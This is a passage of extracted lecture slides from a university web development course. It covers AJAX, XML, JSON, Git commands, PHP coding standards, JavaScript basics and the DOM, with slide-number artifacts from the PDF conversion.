cached result issue in GET requests. Add a unique ID to the
URL.

3
© 2020 e-Learning Centre, UCSC
0
Activity

Change the given sample code so that you are using a


POST request instead of a GET request.

3
© 2020 e-Learning Centre, UCSC
1
Example: Asynchronous program contd.

• The url
• Can be a file on the server.
• .txt, .xml, .php etc...

• Asynchronous
• True or False?
• If set true, server requests would be sent asynchronously.

3
© 2020 e-Learning Centre, UCSC
2
Example: Asynchronous program contd.

• onreadystatechange property
• Defines a function to be called when the readyState property
changes.

• readyState property
• Holds the status of the XMLHttpRequest.

3
© 2020 e-Learning Centre, UCSC
3
Example: Asynchronous program contd.

• status property
• Holds the status of the XMLHttpRequest object
• 200: "OK“ | 404: "Page not found“ etc..

• The onreadystatechange function is called every time the


readyState changes.
• When readyState is 4 and status is 200, the response is
ready.
3
© 2020 e-Learning Centre, UCSC
4
Activity
Match the following HTTP status codes with relevant
indications.
• 100 • Service Unavailable
• 200 • Bad request
• 202 • Forbidden
• 301 • Ok
• 400 • Not Implemented
• 403 • Continue
• 404 • Accepted
• 500 • Not Found
• 501 • Moved Permanently
• 503 • Internal Server Error

3
© 2020 e-Learning Centre, UCSC
5
Example: Asynchronous program contd.

• The element info is referenced via the getElementById method.

• Then its innerHTML property is assigned the value that was returned by
the call.
• Element of the web page changes, while everything else remains the
same.
• responseText - get the response data as a string.

3
© 2020 e-Learning Centre, UCSC
6
XML

• eXtensible Markup Language.


• Very similar to HTML.
• To store and transport data.
• Designed to be both human- and machine-readable.

3
© 2020 e-Learning Centre, UCSC
7
Activity

• Amali wants to use XML to store and transport some


data on notes created through her system. She wants to
store following details as elements in the XML file,
• Time (24H)
• Date (yyyy:mm:dd)
• To
• From
• Heading
• Body of the note

• Write the XML file content (note.xml)

3
© 2020 e-Learning Centre, UCSC
8
XML vs HTML

• XML: designed to transport data.


• HTML: designed to display data.
• XML does not have predefined tags unlike HTML.
• Tags in XML are invented by the author.

• XML is extensible.
• Most XML applications will work as expected even if new data is
added or removed.

3
© 2020 e-Learning Centre, UCSC
9
Activity

• How can we use attributes in XML elements like in


HTML?
• Amali wants to assign an ID as an attribute to her notes.
Demonstrate how this can be done in the XML code you
wrote in the last activity.

4
© 2020 e-Learning Centre, UCSC
0
XML DOM

• XML DOM defines a standard way for accessing and


manipulating XML documents.
• It presents an XML document as a tree-structure.
• Example:

Source: https://www.w3schools.com/xml/xml_dom.asp
4
© 2020 e-Learning Centre, UCSC
1
XML DOM contd.

• Sample XML file:

4
© 2020 e-Learning Centre, UCSC
2
XML DOM contd.

• Following code retrieves the text value of the first <title>


element in the sample XML document.

4
© 2020 e-Learning Centre, UCSC
3
4
© 2020 e-Learning Centre, UCSC
4
4
© 2020 e-Learning Centre, UCSC
5
Activity

• Write the code to display the XML file you wrote in the
previous assignment in a web page.
• Each element needs to be displayed.

4
© 2020 e-Learning Centre, UCSC
6
4
© 2020 e-Learning Centre, UCSC
7
4
© 2020 e-Learning Centre, UCSC
8
4
© 2020 e-Learning Centre, UCSC
9
Activity

• Change the previous activity code to display multiple


notes in a tabular format.

5
© 2020 e-Learning Centre, UCSC
0
JSON

• JavaScript Object Notation.


• A syntax for storing and exchanging data.
• Syntax:
• Data is in name/value pairs
• Data is separated by commas
• Curly braces hold objects
• Square brackets hold arrays

5
© 2020 e-Learning Centre, UCSC
1
Activity

• Amali wants to use JSON instead of XML in her


application.
• Convert the note.xml file in previous activities to JSON.

5
© 2020 e-Learning Centre, UCSC
2
JSON vs XML

• Both are,
• Human readable
• Hierarchical
• Can be parsed and used by lots of programming languages
• Can be fetched with an XMLHttpRequest

• Different because,
• JSON does not have end tags
• Shorter
• Quicker to read and write
• Can use arrays
• JSON is much easier to parse than XML

5
© 2020 e-Learning Centre, UCSC
3
5
© 2020 e-Learning Centre, UCSC
4
5
© 2020 e-Learning Centre, UCSC
5
Activity

• Display element in Amali’s new JSON file on notes using


AJAX.

5
© 2020 e-Learning Centre, UCSC
6
JSON contd.

• JSON.parse()
• When receiving data from a web server, the data is always a string.
• Parse the data with JSON.parse(), and the data becomes a
JavaScript object.

• JSON.stringify()
• When sending data to a web server, the data has to be a string.
• Convert a JavaScript object into a string with JSON.stringify()

5
© 2020 e-Learning Centre, UCSC
7
AJAX and PHP

5
© 2020 e-Learning Centre, UCSC
8
5
© 2020 e-Learning Centre, UCSC
9
Version controlling

60
Version controlling

• A system used to capture and record a visual history of


changes in files within your project.
• Gives you the ability to go back and see
• Who made the changes
• What they changed - both files and the changed contents
• When they made the change
• Why it was changed – through reading the commit message

• Provides you with a mechanism to segregate changes in


your code, called branches.

6
© 2020 e-Learning Centre, UCSC
1
Git

• A distributed version control system (DVCS).


• Allows you to distribute many copies (mirrors) of your
repository to other members of your team.
• Able to track changes.
• Each person with a clone of the repository has an entire
working copy of the system at the time of the clone.
• Simple, fast, and fully distributable.

6
© 2020 e-Learning Centre, UCSC
2
Setting up Git

• Download the appropriate binary install for your OS


from: http://git-scm.com
• On Ubuntu,
• Depending on the OS, there may be multiple ways to
install Git.

6
© 2020 e-Learning Centre, UCSC
3
Activity

• Check the version of your Git installation.

6
© 2020 e-Learning Centre, UCSC
4
Configuring Git

• Setting up identity
• The first thing you should do when you install Git is to set your
user name and email address.
• This is important because every Git commit uses this
information, and it’s immutably baked into the commits you
start creating.
$ git config --global user.name "John Doe"
$ git config --global user.email [email protected]
• To verify your configurations,
$ git config user.name
$ git config user.email

6
© 2020 e-Learning Centre, UCSC
5
Initializing a repository

• To create your first Git repository , you will simply use the
git init command.
• This will initialize an empty Git repository in your source
code directory.

6
© 2020 e-Learning Centre, UCSC
6
Initial commit

• Let us add a very basic README file to the empty


repository and then perform our initial commit.
$ echo "This is our README." > README.md

• You can look at the current status of the repository


using,
$ git status

6
© 2020 e-Learning Centre, UCSC
7
Initial commit contd.

• The readme file is still an untracked file, meaning it isn’t


yet added to the repository or being tracked for changes
by Git.
• To add the file to the repository,
$ git add README.md

• Check the repository status again.

6
© 2020 e-Learning Centre, UCSC
8
Initial commit contd.

• Lastly, we’ll commit our change, and our new README


will now be in our repository and be tracked for changes
going forward.

6
© 2020 e-Learning Centre, UCSC
9
Staging changes

• Let us change the README first and check the git status.

• It shows that our README was modified, but that it’s not
staged for commit yet. We do this by using the git add
command.

7
© 2020 e-Learning Centre, UCSC
0
Viewing history

• We have already made a few changes.


• Let us check the change history using
$ git log

7
© 2020 e-Learning Centre, UCSC
1
Ignoring specific files

• There will often be a number of files and directories


within your project that you do not want Git to track.
• Files that are private and not useful to other collaborators. Ex:
• Personal IDE config files, such as .idea/workspace.xml
• Compiled code, such as .o, .pyc, and .class files
• Security and API keys

• Example .gitignore file:

7
© 2020 e-Learning Centre, UCSC
2
Activity

• What are Git ignore patterns?


• Name 5 patterns and explain them using examples.

7
© 2020 e-Learning Centre, UCSC
3
Removing files

• Completely removing a file from both the repository and


the local working copy: git rm
• Delete the file from local copy using operating system or
IDE: it will show up as a deleted file that needs to be
committed.

7
© 2020 e-Learning Centre, UCSC
4
Removing files

• First use git rm to delete a file.

7
© 2020 e-Learning Centre, UCSC
5
Removing files

• First use git rm to delete a file. Use git rm and then


commit change.

7
© 2020 e-Learning Centre, UCSC
6
Branching & merging
• Allows you to separate various segments of changes to
your code into sub-repositories.
• Branching
• When you want to add a new feature or fix a bug, you may
spawn a new branch to encapsulate your changes.
• Makes it harder for unstable code to get merged into the main
codebase.

7
© 2020 e-Learning Centre, UCSC
7
Branching & merging contd.

• Merging
• Lets you take the independent lines of development created by
git branch and integrate them into a single branch.
• Ex: we have a new branch feature that is based off the master
branch. We now want to merge this feature branch into master.

7
© 2020 e-Learning Centre, UCSC
8
Branching & merging contd.

• Create a new branch and then switch to that branch.


$ git branch branch-example
$ git checkout branch-example

• Add and commit new files to the branch.

7
© 2020 e-Learning Centre, UCSC
9
Branching & merging contd.

• Switch to the master branch and check the directory.


• The newly added test.php file is missing in the master
branch.

8
© 2020 e-Learning Centre, UCSC
0
Branching & merging contd.

• When performing a merge, Git will compare changes in


both branches and will attempt to automatically merge
the changes together.
• Collision of changes?
• Same lines of code were changed in both branches.
• Need manual intervention to resolve conflicts.

• To delete a branch:

8
© 2020 e-Learning Centre, UCSC
1
Other features in Git

• Stashing Changes
• Tagging
• Lightweight tags
• Annotated tags
• Undoing changes
• Amend
• Un-stage
• File Reset
• Soft Reset
• Mixed Reset
• Hard reset
8
© 2020 e-Learning Centre, UCSC
2
Activity

• What is Stashing Changes in Git?


• Explain how $ git stash can be used.

8
© 2020 e-Learning Centre, UCSC
3
Activity

• What is the purpose of Tagging in Git?


• Explain and demonstrate the difference between lightweight tags
and annotated tags.

8
© 2020 e-Learning Centre, UCSC
4
Activity

• Provide examples when we need to undo changes in Git.


• Demonstrate and explain different ways of undoing changes in Git.

8
© 2020 e-Learning Centre, UCSC
5
Version control in cloud

• Having a remote-hosted repository is common practice


when using Git other than for just your own personal
projects.
• Popular services
• Bitbucket (https://bitbucket.org/)
• GitHub (https://github.com/)

• Both free and paid plans.

8
© 2020 e-Learning Centre, UCSC
6
PHP Coding Standards
Introduction to coding standards

• A set definitions on how to structure your code in any


given project.
• Applies to everything from,
• naming conventions
• Spaces
• Variable names
• Opening and closing bracket placements
Etc..

• PHP-FIG
• PHP Framework Interoperability Group
• created a standards body for PHP frameworks.
8
© 2020 e-Learning Centre, UCSC
8
Basic coding standards - Files

• PHP Tags
• PHP code must use <?php tags or the short echo tag in <?=
format.
• No other tag is acceptable, even if you have short tags enabled
in your PHP configuration.

• Character Encoding PHP


• PHP code must use only UTF-8 without the byte-order mark
(BOM).

8
© 2020 e-Learning Centre, UCSC
9
Basic coding standards - Files
• Side Effects
• PHP file should either declare new symbols (classes, functions,
constants, etc.) or execute logic with side effects, but never
both.
• Side effects - logic executed without directly relating to declaring
a class, functions or methods, constants, etc.
• Unlike the following example, a file shouldn’t both declare a
function AND execute that function.

9
© 2020 e-Learning Centre, UCSC
0
Basic coding standards – Name spaces and class
names

• A class is always in a file by itself (there are not multiple


classes declared in a single file), and it includes at least a
namespace of one level.
• Class names must be declared using StudlyCaps.

9
© 2020 e-Learning Centre, UCSC
1
Basic coding standards – Class constants, Properties,
and Methods

• Constants
• Class constants must be declared in all uppercase using
underscores as separators.

• Properties
• Property names: $StudlyCaps , $camelCase , or $under_score
• Can mix them if they are outside of the scope of each other.
• Be consistent within that given scope.
• Better to stick to one throughout all of your code.
• More uniformity and readability.

9
© 2020 e-Learning Centre, UCSC
2
Basic coding standards – Class constants, Properties,
and Methods

• Methods
• Must be declared using camelCase()

9
© 2020 e-Learning Centre, UCSC
3
Coding style – General

• Files
• All PHP files must use the Unix linefeed line ending, must end with
a single blank line, and must omit the close ?> tag if the file only
contains PHP.

• Lines
• There must not be a hard limit on the length of a line.
• There must be a soft limit of 120 characters.
• Lines should not be longer than 80 characters, and should be split
into multiple lines if they go over 80 characters.
• There must not be trailing whitespace at the end of non-blank lines.
• Blank lines may be added to improve readability and to indicate
related blocks of code.
• You can only have one statement per line.

9
© 2020 e-Learning Centre, UCSC
4
Coding style – General

• Indentation
• You must use four spaces and never use tabs.
• (Most IDEs can map spaces to tab key.)

• Keywords and true, false, and null


• All keywords must be in lowercase as must the constants true ,
false , and null.

9
© 2020 e-Learning Centre, UCSC
5
Coding style – Namespace and Use declarations

• There must be one blank line after the namespace is


declared.
• Any use declarations must go after the namespace
declaration.
• Only one use keyword per declaration.
• One blank line after the use block.

9
© 2020 e-Learning Centre, UCSC
6
Coding style – Classes, Properties, and Methods

• Classes
• The extends and implements keywords must be declared on the
same line as the class name.
• The opening brace for the class must go on its own line, and the
closing brace must appear on the next line after the body of
your class.
• Lists of implements may be split across multiple lines, where
each subsequent line is indented once.
• When doing this, the first item in the list must appear on the next line, and
there must only be one interface per line.

9
© 2020 e-Learning Centre, UCSC
7
Coding style – Classes, Properties, and Methods

• Properties
• Visibility (public, private, or protected) must be declared on all
properties in your classes.
• The var keyword must not be used to declare a property.
• There must not be more than one property declared per
statement.
• Property names should not be prefixed with a single underscore
to indicate protected or private visibility.

9
© 2020 e-Learning Centre, UCSC
8
Coding style – Classes, Properties, and Methods

• Method arguments
• In your method argument list, there must not be a space before
each comma, but there must be one space after each comma.
• Method arguments with default values must go at the end of
the argument list.
• Can split method argument lists across multiple lines, where
each subsequent line is indented once.
• When using this approach, the first item in the list must be on the next
line, and there must be only one argument per line

• If the split argument list is used, the closing parenthesis and the
opening brace must be placed together on their own line with
one space between them.

9
© 2020 e-Learning Centre, UCSC
9
Coding style – Classes, Properties, and Methods

• Abstract, Final, and Static


• When present, the abstract and final declarations must precede the
visibility declaration.
• When present, the static declaration must come after the visibility
declaration.
• Method and Function Calls
• When you make a method or function call, there must not be a
space between the method or function name and the opening
parenthesis.
• There must not be a space after the opening parenthesis or before
the closing parenthesis.
• In the argument list, there must not be a space before each comma,
but there must be one space after each comma.
• The argument list may also be split across multiple lines, where each
subsequent line is indented once.

1
© 2020 e-Learning Centre, UCSC 0
Coding style – Control structures

• There must be one space after the control structure


keyword.
• There must not be a space after the opening parenthesis
or before the closing parenthesis.
• There must be one space between the closing
parenthesis and the opening brace, and the closing brace
must be on the next line after the body.
• The structure body must be indented once.
• The body of each structure must be enclosed by braces.

1
© 2020 e-Learning Centre, UCSC 0
Coding style – Control structures

• if, elseif, else


• A control structure should place else and elseif on the same line
as the closing brace from the previous body. Also,
• Always use elseif instead of else if so the keywords are all single
words.

1
© 2020 e-Learning Centre, UCSC
0
2
Coding style – Control structures
• switch, case
• The case statement must be indented once from the switch
keyword, and the break keyword or other terminating keyword (
return, exit, die , etc.) must be indented at the same level as the
case body.
• There must be a comment such as // no break when fall-through is
intentional in a non-empty case body.

1
© 2020 e-Learning Centre, UCSC
0
3
Coding style – Control structures

• while, do while
• These structures place the braces and spaces similarly to those in
the if and switch structures

1
© 2020 e-Learning Centre, UCSC
0
4
Coding style – Control structures

• for
• Standards comply to the following examples.

1
© 2020 e-Learning Centre, UCSC 0
Coding style – Control structures

• foreach
• Unlike in the for statement, the space is required if you are
separating the key and value pairs using the => assignment.

1
© 2020 e-Learning Centre, UCSC 0
Coding style – Control structures

• try, catch (and finally)


• Standards comply to the following example.

1
© 2020 e-Learning Centre, UCSC 0
PHP CodeSniffer

• To check coding standards.


• A code validator that everyone can easily run.
• Could be incorporated into an automated process.
• Ensure all code is compliant with PHP-FIG(PSR-1 and PSR-2)
standards, or even with another coding standard that you
choose.

• PHP CodeSniffer is a set of two PHP scripts


• phpcs: tokenizes PHP files (as well as JavaScript and CSS) to
detect violations of a defined coding standard.
• phpcbf: used to automatically correct coding standard violations.

• Can use it either via command line or directly in some


IDEs, such as PHP Storm or NetBeans.
1
© 2020 e-Learning Centre, UCSC 0
PHP CodeSniffer

An example for errors that were detected when validating against the PSR-1 and
PSR-2 standards using PHP CodeSniffer 1
0
© 2020 e-Learning Centre, UCSC
9
phpDocumentor

• Not all coding standards provide rules regarding code


comments.
• Capable of automatically generating code
documentation for the entire project and provide an easy
reference for all developers to follow.
• ainly used for generating real documentation from the
source in a variety of different formats .

1
© 2020 e-Learning Centre, UCSC 1
Frameworks for Web Development
Why use frameworks?

• A defined structure across all your applications.


• Community support.
• A pre-developed set of functionality that you don’t have
to reinvent with each application.
• Modules, libraries, and plugins available to add
additional functionality.
• Better testability.
• Pre-established use of design patterns in your
application.
• Reusable and maintainable code.
1
© 2020 e-Learning Centre, UCSC
1
2
Example PHP frameworks?

• Laravel 5
• Symfony 2
• Zend Framework 2
• CodeIgniter

1
© 2020 e-Learning Centre, UCSC
1
3
END
3. Advanced Client Side Development

IT3406 – Web Application Development II


Level II - Semester 3

© 2020 e-Learning Centre, UCSC


3.1 JavaScript Basics

© 2020 e-Learning Centre, UCSC 2


Lesson Outline
• Introduction to JavaScript
• Importance of JavaScript
• Integrating JavaScript code
• Variables
• Data types
• Basic data types
• Arrays
• JavaScript operators
• Program flow control structures
• Conditional statements
• Loops
• JavaScript functions
© 2020 e-Learning Centre, UCSC 3
Introduction to JavaScript

© 2020 e-Learning Centre, UCSC 4


Why JavaScript is important?
• JavaScript adds dynamic nature into the front-end of a
web site
• It is more popular scripting language to provide better
user interaction in the front-end
• JavaScript code can easily be embedded into HTML 5
• The JavaScript code can alter features of the web page
that the HTML5 and CSS3 code produce
• JavaScript code allows you to alter the text that
appears on your web page “on the fly,” without
requiring your site visitors to reload the web page

© 2020 e-Learning Centre, UCSC 5


Why JavaScript is important?
• JavaScript adds greater flexibility to customize the
front end
• Capable of dynamically changing the web page layout.
• Can manipulate the look and feel of the website
components through Cascading Style Sheets (CSS).
• Changing the visibility of components depending on the
requirement (through CSS).
• Helps to incorporate dynamic nature to the website.

© 2020 e-Learning Centre, UCSC 6


Where to put JavaScript code?
• How to integrate JavaScript code with HTML5

• You can integrate and run JavaScript code in two


different ways,
• Embedding the JavaScript code directly into the web
page
• Creating an external JavaScript file that the browser
downloads and runs

© 2020 e-Learning Centre, UCSC 7


Option 01: Embedding JavaScript
• “SCRIPT” element is used to directly embed
JavaScript code into the web page
• It has an opening and closing tag that surrounds
your JavaScript code

<SCRIPT>
• Eg:
JavaScript code goes here ..

</SCRIPT>

© 2020 e-Learning Centre, UCSC 8


Option 01: Embedding JavaScript
• The browser is capable of identifying the “script”
tag
• Browser executes the code written in JavaScript
using the internal JavaScript Interpreter
• Optionally, the “type” attribute can be specified.
Not necessarily in HTML 5.

<script type="text/javascript">

© 2020 e-Learning Centre, UCSC 9


Embed code in the <HEAD> tag
• If the JavaScript code embeds in the head section, the
script runs before the page content is executed,

IMPORTANT:
• When you run the test, your browser may not run the
JavaScript code or it may prompt you to allow the code
to run.
• Some browsers have built-in security features to block
running JavaScript code embedded in a web page.
• You’ll need to consult your browser documentation on
how to enable JavaScript code.
1
© 2020 e-Learning Centre, UCSC
0
Example for embedded code in
the <HEAD> section
<!DOCTYPE html>
<html>
<head>
<title>Testing JavaScript in the Head Section</title>
<script>
alert(“This executes before loading the content.");
</script>
</head>
<body>
<h1>This is the web page</h1>
</body>
<html>
1
© 2020 e-Learning Centre, UCSC
1
Embed JS in the <BODY> tag
<!DOCTYPE html>
<html>
<head>
<title>Testing JavaScript in the Body Section</title>
</head>
<body>
<h1>This is before executing the JS code</h1>
<script>
alert("This is the JavaScript program!");
</script>
<h1>This is after executing the JS code</h1>
</body>
<html>

1
© 2020 e-Learning Centre, UCSC
2
Compare the output

• Embedding JavaScript code inside the body


element of a web page slows down the loading
process of the content,

Best Practice

“If the code location is not crucial, it is best to place the


script element at the end, after the HTML5 code”

1
© 2020 e-Learning Centre, UCSC
3
Option 02: Using external JS file
Usage:
• Using an external file is a good design aspect when
the same code repeatedly applicable to many
number of web pages.
• Keeping the repeating JS code separately improves
maintainability of the code.

Can be an absolute, relative or full path to a


remote machine location

<script src=“javascript_code.js"></script>
1
© 2020 e-Learning Centre, UCSC
4
Variables in JavaScript

1
© 2020 e-Learning Centre, UCSC
5
Variables in JavaScript
• Variable holds data temporarily in the memory
until a program complete its execution.
• These temporary data storage locations help
manipulating data, retrieving data at later stages
and displaying it to the user.

• Variables are names that


represent storage locations in
the computer memory.

1
© 2020 e-Learning Centre, UCSC
6
Rules for defining JS variables
Remember to adhere following rules when defining
variables.

• Variable names can contain letters, numbers,


underscores, and dollar signs
• Variable names must begin with a letter, an underscore,
or a dollar sign
• Variable names are case sensitive
• Do not use JavaScript keywords as variable names

1
© 2020 e-Learning Centre, UCSC
7
Declare and initialize a variable
• Use var keyword to declare the variable
• Give a meaningful name (best practice)
• Now you can initialize the variable using a value
Example: var name; name = “Kamal”;

Set aside a place in memory for Use the JavaScript assignment


storing data and call that location operator to assign a value
name “Kamal” to the variable

1
© 2020 e-Learning Centre, UCSC
8
JavaScript Data Types

1
© 2020 e-Learning Centre, UCSC
9
JavaScript data types
Basic data types

• Numbers: Either integer values (Eg: 5) or floating


point values (Eg: 5.345) .
• Strings: A series of characters, strung together in
memory one after the other.

2
© 2020 e-Learning Centre, UCSC
0
JavaScript basics
Arrays
• Arrays allow us to store a list of items into a single
variable.
• For example:
var marks = [80, 50, 65];
• Individual items are called elements of the array.
• Using the index of the element, the value can be
extracted.
• Syntax: marks[1] will give the number 50.
2
© 2020 e-Learning Centre, UCSC
1
JavaScript operators for data
manipulation

2
© 2020 e-Learning Centre, UCSC
2
JavaScript mathematical
operators

2
© 2020 e-Learning Centre, UCSC
3
JavaScript Boolean operators

2
© 2020 e-Learning Centre, UCSC
4
Program flow control structures

2
© 2020 e-Learning Centre, UCSC
5
Program flow control structures
• Flow control structures are used to alter the default
flow of code execution in a JavaScript program.
• These structures contain conditional statements
from which a certain condition is evaluated.
• Depending on the result of the evaluation, the
program would execute the code.

2
© 2020 e-Learning Centre, UCSC
6
Program flow control structures
• Conditional statements
• If block
• If else block
• Switch statement
• Loops
• Do.. While
• While
• For
• For.. In

2
© 2020 e-Learning Centre, UCSC
7
if statement
• The condition is evaluated whether true or false.
• The code inside the block only executes if the
condition is evaluated as true.

if (condition) { if (5>2) {
code goes here… alert(“success”);
} }

2
© 2020 e-Learning Centre, UCSC
8
else statement
• With the if statement, if the condition is not met,
the interpreter just skips the code you specify in
the code block.
• The else statement allows you to specify code to
run if the condition evaluates to a false value.
if (type == “Lory”) {
message = “Sorry, you are not allowed to park here”;
status = “failed”;
} else {
message = “You may begin the game”;
status = “success”;
}
2
© 2020 e-Learning Centre, UCSC
9
switch statement
• Switch statement is
similar to the else if switch (expression) {
statement. case match1:
• JavaScript interpreter statements
evaluates the expression break;
and the result will be case match2:
matched against the statements
case statement. break;
• break statement breaks default:
the flow and exits from statements
the block. }

3
© 2020 e-Learning Centre, UCSC
0
switch statement contd..
• Each case statement specifies a different possible
result of the expression.
• If there is a match, the interpreter runs the
statements contained in that section.
• The break statement forces the interpreter to skip
over the remaining case statement sections.
• If none of the case results matches, the interpreter
runs the statements under the default statement.

3
© 2020 e-Learning Centre, UCSC
1
Loops in JavaScript
• When the same block of code runs multiple times,
it is called a loop.
• Typically, one or more variables changes values in
each iteration of the loop .
• Loop ends once a specific criteria meets.

3
© 2020 e-Learning Centre, UCSC
2
Loops in JavaScript
• JavaScript supports several looping structures as
shown in the table below,

3
© 2020 e-Learning Centre, UCSC
3
The do… while loop
• Do while loop executes the first iteration without
checking a condition.
• Do while loop executes at least once.
• At the end of the block, it tests a condition to
determine whether to repeat or not.

3
© 2020 e-Learning Centre, UCSC
4
The do… while loop syntax

do
{
statements..
}
while (condition);

3
© 2020 e-Learning Centre, UCSC
5
The do… while loop flowchart

3
© 2020 e-Learning Centre, UCSC
6
The while loop
• while loop acts opposite to the do.. while loop
• While loop checks the condition at the very
beginning
• None of the iterations would continue without
evaluating the condition

3
© 2020 e-Learning Centre, UCSC
7
The while loop syntax

while (boolean condition)


{
loop statements...
}

3
© 2020 e-Learning Centre, UCSC
8
The while loop flowchart

3
© 2020 e-Learning Centre, UCSC
9
The for loop syntax
Variable to be
changed in each
iteration

4
© 2020 e-Learning Centre, UCSC
0
The for loop flowchart

4
© 2020 e-Learning Centre, UCSC
1
The for.. in loop
• The for...in loop helps to iterate over an array of
which the number of values are not certain
• It executes till the end of the array extracting
individual data values per iteration
• The for...in statement ends when it runs out of data
elements in the array
• Elements are accessed based on the respective
index in the array

4
© 2020 e-Learning Centre, UCSC
2
The for.. in loop syntax

for (variableName in Object)


{
statement(s)
}

4
© 2020 e-Learning Centre, UCSC
3
JavaScript functions

4
© 2020 e-Learning Centre, UCSC
4
What is a functions
• A function is a block of organized, reusable code
that is used to perform a single action
• If we have a code segment (complex/simple)
repeats over and over in different places, we can
write a function and reuse the function without
repeating the same code chunk
• Functions make the code simple and maintainable

4
© 2020 e-Learning Centre, UCSC
5
Syntax of a JavaScript function

function name(param1, param2, ...) {


function code
return value;
}

4
© 2020 e-Learning Centre, UCSC
6
JavaScript functions
• Return Type:
• If a function returns a value, the type of the
returning value becomes the return type of
the function
• If it does not return the keyword void is used
• Function Name:
• The function name and the parameter list
together forms the signature of the function
• Name is important for calling the funtion
4
© 2020 e-Learning Centre, UCSC
7
JavaScript functions
• Parameter List:
• A parameter is like a placeholder.
• Parameters/arguments have a type, order and
number of parameters
• Parameters are optional and a function can be
defined without any parameters
• Function Body:
• The function body contains a code block to
perform the task
4
© 2020 e-Learning Centre, UCSC
8
How to use functions
• JavaScript functions are called using the name of
the function and passing the relevant parameters
• For example;
var result = add_values(5,3);
Here, the result variable will store the value 8 after
calling the add_values() function

4
© 2020 e-Learning Centre, UCSC
9
Summary
• JavaScript is a language which can be used to
manipulate front-end dynamic behavior.
• Variables are used to store data temporarily to
support executing the program in memory.
• Data types specify which kind of data cab ne stored
in a particular variable.
• JavaScript operators help in manipulating data on
variables.
• Mathematical and Boolean operators are two
broader categories of operators.
5
© 2020 e-Learning Centre, UCSC
0
Summary
• JavaScript flow control statements are used to alter
the program execution flow.
• Conditional statements and looping structures help
mainly in flow controlling.
• JavaScript functions can be used to reuse code and
improve maintainability.

5
© 2020 e-Learning Centre, UCSC
1
3.2 Document Object Model
(DOM)
IT3406 – Web Application Development II

5
© 2020 e-Learning Centre, UCSC
2
Lesson Outline

• Introduction to Document Object Model


• DOM tree structure
• JavaScript and DOM
• DOM object properties
• Finding HTML elements
• Accessing form data using JS objects

5
© 2020 e-Learning Centre, UCSC
3
Introduction to DOM

5
© 2020 e-Learning Centre, UCSC
4
Document Object Model
• HTML document has a number of elements.
• DOM helps finding and locating these elements in a
standard way.
• DOM provides a hierarchical tree structure of
elements.
• By traversing through the tree structure, one can
reach the desired element.

5
© 2020 e-Learning Centre, UCSC
5
DOM tree structure
• Start of the tree structure is always html element

5
© 2020 e-Learning Centre, UCSC
6
DOM tree structure contd..
• Under the top/root element all the other elements
are referred to as child nodes.
• In the html document head comes first and it is
named as first child of the html element.
• body comes after the head and it is named as
second child of the html element.

**This convention of naming the elements in DOM is


important.

5
© 2020 e-Learning Centre, UCSC
7
Example code

Source: w3shools
5
© 2020 e-Learning Centre, UCSC
8
DOM tree

5
© 2020 e-Learning Centre, UCSC
9
JavaScript and DOM
• The browser uses the DOM tree to keep track of all
the HTML5 elements, their content, and the styles
on the web page
• JavaScript has full access to the DOM tree created
by the browser as it also works in the client side
• JavaScript is capable of modifying the DOM
hierarchy
• This capability of modifying the DOM helps to add
dynamic nature to the front end of the web
applications
6
© 2020 e-Learning Centre, UCSC
0
JavaScript and DOM
• JavaScript treats each element in DOM as an object
• Objects have Properties and Methods

Properties: Properties define information about the


object
Methods: Methods are actions to take with the
objects

6
© 2020 e-Learning Centre, UCSC
1
JavaScript and DOM

JavaScript has a special object which refers to the


entire DOM of an HTML document
Using document.property, any property of the
document object can be referenced

Eg: var url = document.URL;

property
6
© 2020 e-Learning Centre, UCSC
2
Document object properties

6
© 2020 e-Learning Centre, UCSC
3
Document object methods

6
© 2020 e-Learning Centre, UCSC
4
JavaScript DOM objects
• Previous slides describe the document properties
and methods.
• Apart from that, JavaScript also has properties and
methods that apply to each element object in the
document.
• These properties and methods can be used to
expand the capabilities of JavaScript when
interacting with the DOM elements.

6
© 2020 e-Learning Centre, UCSC
5
JavaScript DOM object properties

6
© 2020 e-Learning Centre, UCSC
6
JavaScript DOM object methods

6
© 2020 e-Learning Centre, UCSC
7
JavaScript DOM object methods

6
© 2020 e-Learning Centre, UCSC
8
Finding elements using JS objects
Challenge:
• As your web pages become more complicated, it
may contain possibly thousands of elements
• Finding a specific element and changing or
modifying it will be a real challenge
• Two different ways to find an element
• Using a unique feature assigned to the element to jump
directly to it
• navigate your way down to the element's object from a
specific point in the DOM tree

6
© 2020 e-Learning Centre, UCSC
9
Use element id to find an element
• Assign the element a unique id attribute value
• Reference the elements in your JavaScript code by
using the getElementById() method

7
© 2020 e-Learning Centre, UCSC
0
Walking the tree to find element
• Different properties of child elements can be used
to search for an element in DOM hierarchy,
• Use the firstChild property
• Use the nextSibling property
• We can alternatively use firstChild, lastChild,
nextSibling, or previousSibling properties to reach
wherever we want in the page.

7
© 2020 e-Learning Centre, UCSC
1
Working with form data
• JavaScript objects are capable of accessing the
content of form elements.
• For example, Text boxes, Text Areas, Check boxes
and radio buttons.
• Let us look at how JavaScript uses DOM tree to
access and work with form elements.

7
© 2020 e-Learning Centre, UCSC
2
Text Box
• Use the value attribute of the object to read any
text that may already be in the text box.
• Accessing data in a text box

• Writing data to a text box

7
© 2020 e-Learning Centre, UCSC
3
Text Box DOM properties

7
© 2020 e-Learning Centre, UCSC
4
Text Area
• For text area elements also we use value property.
• Same as we did for text box except few unique
DOM properties,
• cols: Sets or retrieves the number of columns
assigned to the text area
• rows: Sets or retrieves the number of rows
assigned to the text area
• wrap: Sets or retrieves whether text can auto-wrap
within the text area

7
© 2020 e-Learning Centre, UCSC
5
Check Boxes
• Check box is used to capture whether a particular
option is selected or not.
• In order to check the condition we can use DOM
checked property.
Example:

7
© 2020 e-Learning Centre, UCSC
6
Checkbox DOM properties

7
© 2020 e-Learning Centre, UCSC
7
Radio buttons
• Working with radio buttons is always a complicated
matter.
• All the radio buttons in the same group use the
same name property.
• Browser handles them as a group.
• Only one radio button in the group can be selected
at any time.
• Handling data from a radio button requires using
the checked and value object properties.

7
© 2020 e-Learning Centre, UCSC
8
3.3 : Asynchronous JavaScript and
3.3 : Asynchronous JavaScript and XML
XML (AJAX)
(AJAX)
IT3406 – Web Application Development II

© 2020 e-Learning Centre, UCSC


Lesson Outline

• Introduction to AJAX
• Establishing connection to server
• XMLHttpRequest class methods
• XMLHttpRequest class properties
• Caching and AJAX

8
© 2020 e-Learning Centre, UCSC
0
Introduction to AJAX

8
© 2020 e-Learning Centre, UCSC
1
